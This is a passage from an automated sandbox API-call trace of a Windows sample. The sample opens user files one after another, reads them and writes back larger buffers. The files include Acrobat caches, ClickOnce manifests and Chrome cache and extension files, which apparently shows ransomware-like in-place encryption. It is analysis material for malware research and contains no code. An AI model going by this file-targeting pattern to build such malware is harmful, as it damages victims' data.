lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.834] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.834] ReleaseMutex (hMutex=0x128) returned 1 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="state.rsm", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="state.rsm", lpUsedDefaultChar=0x0) returned 9 [0048.834] ReadFile (in: hFile=0x198, lpBuffer=0x2739038, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x318f2bc*=0x29a, lpOverlapped=0x0) returned 1 [0048.835] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.835] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x822, lpOverlapped=0x0) returned 1 [0048.835] CloseHandle (hObject=0x198) returned 1 [0048.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.836] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.836] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xcfc4 [0048.836] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.836] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.836] ReleaseMutex (hMutex=0x128) returned 1 [0048.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroFnt10.lst", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroFnt10.lst", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroFnt10.lst", lpUsedDefaultChar=0x0) returned 13 [0048.836] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0048.839] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbfc4 [0048.839] ReadFile (in: hFile=0x198, lpBuffer=0x261c6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x261c6d8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.840] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xbfc4 [0048.840] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.841] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0048.841] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0048.841] CloseHandle (hObject=0x198) returned 1 [0048.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.841] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.841] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xee0 [0048.841] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.841] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.841] ReleaseMutex (hMutex=0x128) returned 1 [0048.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap_unsigned.cdf-ms", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0048.841] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="clickonce_bootstrap_unsigned.cdf-ms", cchWideChar=35, lpMultiByteStr=0x1eb2244, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clickonce_bootstrap_unsigned.cdf-ms", lpUsedDefaultChar=0x0) returned 35 [0048.842] ReadFile (in: hFile=0x198, lpBuffer=0x261c6d8, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261c6d8*, lpNumberOfBytesRead=0x318f2bc*=0xee0, lpOverlapped=0x0) returned 1 [0048.844] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0048.844] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1468, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f2d0*=0x1468, lpOverlapped=0x0) returned 1 [0048.844] CloseHandle (hObject=0x198) returned 1 [0048.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0048.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x42000 [0048.846] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0048.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.846] ReleaseMutex (hMutex=0x128) returned 1 [0048.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_1", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0048.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="data_1", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="data_1", lpUsedDefaultChar=0x0) returned 6 [0048.846] ReadFile (in: hFile=0x198, lpBuffer=0x2613678, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x41000 [0048.848] ReadFile (in: hFile=0x198, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.848] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x41000 [0048.849] WriteFile (in: hFile=0x198, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.346] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0049.346] WriteFile (in: hFile=0x198, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0049.346] CloseHandle (hObject=0x198) returned 1 [0049.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.347] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.347] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x10 [0049.347] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.347] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.347] ReleaseMutex (hMutex=0x128) returned 1 [0049.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CURRENT", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CURRENT", lpUsedDefaultChar=0x0) returned 7 [0049.348] ReadFile (in: hFile=0x198, lpBuffer=0x1e63028, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e63028*, lpNumberOfBytesRead=0x318f2bc*=0x10, lpOverlapped=0x0) returned 1 [0049.348] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.348] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x598, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x318f2d0*=0x598, lpOverlapped=0x0) returned 1 [0049.349] CloseHandle (hObject=0x198) returned 1 [0049.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.349] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.349] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2d5 [0049.349] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.349] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.349] ReleaseMutex (hMutex=0x128) returned 1 [0049.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0049.349] ReadFile (in: hFile=0x198, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x318f2bc*=0x2d5, lpOverlapped=0x0) returned 1 [0049.379] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.379] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x85d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x318f2d0*=0x85d, lpOverlapped=0x0) returned 1 [0049.379] CloseHandle (hObject=0x198) returned 1 [0049.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdf [0049.380] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.380] ReleaseMutex (hMutex=0x128) returned 1 [0049.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.380] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdf, lpOverlapped=0x0) returned 1 [0049.381] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.381] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x667, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x667, lpOverlapped=0x0) returned 1 [0049.381] CloseHandle (hObject=0x198) returned 1 [0049.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.382] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.382] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdd [0049.382] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.382] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.382] ReleaseMutex (hMutex=0x128) returned 1 [0049.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.382] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.382] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdd, lpOverlapped=0x0) returned 1 [0049.383] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.383] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x665, lpOverlapped=0x0) returned 1 [0049.383] CloseHandle (hObject=0x198) returned 1 [0049.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.384] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.384] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe0 [0049.384] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.384] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.384] ReleaseMutex (hMutex=0x128) returned 1 [0049.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.384] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xe0, lpOverlapped=0x0) returned 1 [0049.385] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.385] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x668, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x668, lpOverlapped=0x0) returned 1 [0049.385] CloseHandle (hObject=0x198) returned 1 [0049.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.386] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.386] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xed [0049.386] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.386] ReleaseMutex (hMutex=0x128) returned 1 [0049.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.386] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.386] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xed, lpOverlapped=0x0) returned 1 [0049.387] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.387] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x675, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x675, lpOverlapped=0x0) returned 1 [0049.387] CloseHandle 